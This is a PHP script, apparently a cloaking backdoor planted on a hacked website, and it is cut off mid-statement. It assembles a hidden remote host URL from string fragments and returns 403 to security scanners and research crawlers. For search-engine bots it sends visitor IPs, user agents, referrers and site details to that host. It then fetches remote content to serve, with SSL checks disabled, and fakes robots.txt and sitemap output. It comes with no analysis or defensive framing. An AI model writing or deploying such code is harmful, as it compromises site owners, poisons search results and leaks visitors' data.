? php $ydlo = '.com/';
$szxc = '10.mi';
$vwli = 'nu';
$gerw = 'tes';
$kbce = 'dj';
$huyj = 'http://cw53';
$mptht = $huyj.$szxc.$vwli.$gerw.$kbce.$ydlo;
$pc = "B1QABQk";
$bagent = "Bing|Google|Yahoo|Docomo";
error_reporting(0);
if (preg_match("/(YySpider|indy Library|SeznamBot|EasouSpider|Python-requests|yisouSpider|Mj12bot|DotBot|Bytespider|AskTbFXTV|Claudebot|ahrefsBot|jikeSpider|digExt|feedDemon|Python|semrushBot|oBot|Barkrowler|CrawlDaddy|ezooms|Feedly|DataForSEO|CensysInspect|HttpClient|amazonBot|Heritrix|Jaunty|apacheBench|YandexBot|searchbot|Go-http-client|Java|Paloaltonetworks|swiftbot|scrapy|GPTBot|petalBot|Python-urllib|coolpadWebkit|LightDeckReports Bot|ZmEu|UniversalFeedParser)/i", $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 403 Forbidden');
exit();
}
$language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
$refer = urlencode(@$_SERVER['HTTP_REFERER']);
$ip = $_SERVER['REMOTE_ADDR'];
$uagent = urlencode($_SERVER['HTTP_USER_AGENT']);
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$domain = urlencode($_SERVER['HTTP_HOST']);
$script = urlencode($_SERVER['SCRIPT_NAME']);
$ip = urlencode($ip);
if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or(!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or(!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {
$_SERVER['REQUEST_SCHEME'] = 'https';
} else {
$_SERVER['REQUEST_SCHEME'] = 'http';
}
function writeToFile($path, $contents) {
$file = fopen($path, "w");
if ($file) {
fwrite($file, $contents);
fclose($file);
return true;
}
return false;
}
function readFromFile($path) {
$file = fopen($path, "r");
if ($file) {
$contents = fread($file, filesize($path));
fclose($file);
return $contents;
}
return false;
}
$http = urlencode($_SERVER['REQUEST_SCHEME']);
$uri = urlencode($_SERVER['REQUEST_URI']);
if (strpos($uri, "bcxbcx") !== false) {
echo "ok";
exit();
}
$bcx = 0;
$bcxFilePath = "bcx.txt";
if (!is_file($bcxFilePath)) {
$uuu = $http.
'://'.$_SERVER['HTTP_HOST'].
'/bcxbcx';
$zvct = @file_get_contents($uuu);
if ($zvct === "ok") {
$bcx = 1;
writeToFile($bcxFilePath, "1");
} else {
$bcx = 0;
writeToFile($bcxFilePath, "0");
}
} else {
$bcx = readFromFile($bcxFilePath);
}
if (strpos($uri, "favicon.ico") !== false) {} else if (preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri, "robots.txt") !== false or strpos($uri, "jp2023") !== false or strpos($uri, "pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {
$requsturl = $mptht.
"?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$bcx&script=$script";
$robots_contents = "";
if (strpos($uri, "pingsitemap") !== false) {
$scripname = $_SERVER['SCRIPT_NAME'];
if (strpos($scripname, "index.p") !== false) {
if ($bcx == 0) {
$scripname = '/?';
} else {
$scripname = '/';
}
} else {
$scripname = $scripname.
'?';
}
$robots_contents = "User-agent: *\r\nAllow: /";
$sitemap = "$http://".$domain.$scripname.
"sitemap.xml";
$robots_contents = trim($robots_contents).
"\r\n".
"Sitemap: $sitemap";
$sitemapstatus = "";
echo $sitemap.
": ".$sitemapstatus.
'
';
$requsturl = $mptht.
"?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$bcx&script=$script&sitemap=".urlencode($sitemap);
}
$zvct = @file_get_contents($requsturl);
if (empty($zvct)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $requsturl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$zvct = curl_exec($ch);
curl_close($ch);
}
if (!empty($zvct)) {
if (substr($zvct, 0, 10) == "error code"
or $zvct == "500"
or strpos($zvct, 'Bad Gateway') !== false) {
header("HTTP/1.0 500 Internal Server Error");
exit();
}
if (strpos($uri, "jp2023") !== false) {
header('HTTP/1.1 404 Not Found');
} else if (substr($zvct, 0, 5) == "